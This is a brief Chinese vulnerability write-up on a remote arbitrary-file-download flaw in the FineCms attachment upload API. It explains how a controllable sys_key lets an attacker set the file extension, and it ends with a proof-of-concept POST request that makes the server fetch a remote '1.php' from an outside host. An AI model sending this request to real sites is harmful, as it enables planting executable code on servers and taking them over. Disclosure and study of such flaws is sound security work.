前言:

FineCms远程任意文件下载。

漏洞分析:

问题出现在后台的附件上传地方。

这里存在的问题是,远程文件的扩展名我们是可以控制的。

当我们上传附件时候,会把POST的数据先&分割再=分割,然后把code=XXX的XXX解码,文件后缀就是$ext,也就是XXX里面的内容,这个XXX是怎么来的呢?

是和sys_key结合,然后生成的,我们知道sys_key可控,那么这个XXX我们也是可以控制的,等同于文件后缀我们可控

所以我们就可以把远程的任意文件下载到网站所在的服务器。路径也有回显。

POC参数:

1
2
URL:/index.php?s=member&c=api&m=down_file HTTP/1.1
POST url=%2Findex.php%3Fs%3Dmember%26c%3Dapi%26m%3Dupload%26name%3Dthumb%26siteid%3D1%26count%3D1%26code%3D2b622zBIbfCx9vdXUoDr/7Qb1vk31vhqC0yC4FrNnJc5JQipzMb4qIYJL7w&file=http://www.bywalks.com/1.php